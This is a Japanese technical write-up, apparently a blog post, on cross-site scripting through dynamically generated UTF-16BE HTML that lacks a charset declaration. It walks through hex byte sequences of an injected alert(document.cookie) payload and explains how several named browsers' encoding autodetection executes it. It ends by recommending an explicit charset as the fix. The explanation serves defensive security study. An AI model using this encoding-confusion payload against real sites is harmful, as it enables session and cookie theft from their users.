UTF-16の動的コンテンツにおけるXSS

charset指定を明示しない動的なUTF-16HTMLでは、
動的に生成した部分に1バイトで文字を表現できるエンコーディング
HTMLのタグと認識できるようなバイト列を注入することでXSSが成立する。

例:

UTF-16(BE,BOMなし)で生成されるレスポンスが

<html><head>
<title>ユーザー入力文字列</title>
</head>
<body>AA</body></html>

の場合。(便宜上改行していますが実際には改行されていないものと思ってください)


ユーザー入力文字列のUTF-16でのバイト列が

hex表記で

3C 2F 74 69 74 6C 65 3E 3C 73 63 72 69 70 74 3E
61 6C 65 72 74 28 64 6F 63 75 6D 65 6E 74 2E 63
6F 6F 6B 69 65 29 3C 2F 73 63 72 69 70 74 3E 3C
74 69 74 6C 65 3E

(これはUTF-8として解釈すれば</title><script>alert(document.cookie)</script><title>)だった場合、生成されるHTMLはHEX表記で

00 3C 00 68 00 74 00 6D 00 6C 00 3E 00 3C 00 68
00 65 00 61 00 64 00 3E 00 3C 00 74 00 69 00 74
00 6C 00 65 00 3E 3C 2F 74 69 74 6C 65 3E 3C 73
63 72 69 70 74 3E 61 6C 65 72 74 28 64 6F 63 75
6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 3C 2F 73 63
72 69 70 74 3E 3C 74 69 74 6C 65 3E 00 3C 00 2F
00 74 00 69 00 74 00 6C 00 65 00 3E 00 3C 00 2F
00 68 00 65 00 61 00 64 00 3E 00 3C 00 62 00 6F
00 64 00 79 00 3E 00 41 00 41 00 3C 00 2F 00 62
00 6F 00 64 00 79 00 3E 00 3C 00 2F 00 68 00 74
00 6D 00 6C 00 3E

となり、charsetが明示されていないので、ブラウザの
文字コード自動判別によってエンコーディングが決まります。

(1)UTF-16BE(BOMなし)と判別するブラウザ(Firefox3.5等)

<html><head>
<title>
&#x3C2F;瑩&#x746C;放&#x3C73;捲&#x6970;琺&#x616C;敲&#x7428;摯&#x6375;&#x6D65;&#x6E74;&#x2E63;潯歩&#x6529;&#x3C2F;獣物&#x7074;&#x3E3C;瑩&#x746C;放
</title>
</head>
<body>AA</body></html>

として処理され、XSSは成立しない。


(2)UTF-8 (もしくは Shift_JIS 等の U+0000 から U+007Eの文字を単一バイトで表すエンコード)として判別するブラウザ(IE8, Opera10, Safari4, Google Chrome2)

{00}<{00}h{00}t{00}m{00}l{00}>{00}<{00}h{00}e{00}a{00}d{00}>
{00}<{00}t{00}i{00}t{00}l{00}e{00}>
</title><script>alert(document.cookie)</script><title>
{00}<{00}/{00}t{00}i{00}t{00}l{00}e{00}>
{00}<{00}/{00}h{00}e{00}a{00}d{00}>
{00}<{00}b{00}o{00}d{00}y{00}>{00}A{00}A{00}<{00}/{00}b{00}o{00}d{00}y{00}>
{00}<{00}/{00}h{00}t{00}m{00}l{00}>{00}

として読み込まれる。

一見壊れたHTMLのように見えてもブラウザの構文エラーHTML救済機能が働くので、
Opera 10Beta, Safari 4, Google Chrome 2 では、

<script>alert(document.cookie)</script>

の部分を生かすように救済されてスクリプトが実行される。

IE の場合は、文字コード 0x00 の文字は無視するという仕様が働くので、

<html><head>
<title></title>
<script>alert(document.cookie)</script>
<title></title>
</head><body>AA</body></html>

として解釈され、元のHTMLのタグは生き残ったままでスクリプトが実行される。

まとめ

  1. UTF-16(BE) でcharsetを明示せずに動的にHTMLを生成する場合、HTMLJavaScript特殊文字を一切使わずにXSSを成立させることが可能
  2. id:hasegawayosukeさんのUTF-7によるクロスサイトスクリプティング攻撃と同様にブラウザの文字コード自動判別機能にページの作者の意図したエンコーディングとは違うエンコーディングと誤認させるところが攻撃の要点
  3. BOMが付与されていると攻撃が成功しづらいようだが、100%安全になることを保証できるわけではない
  4. 対策は正しいcharsetを明示すること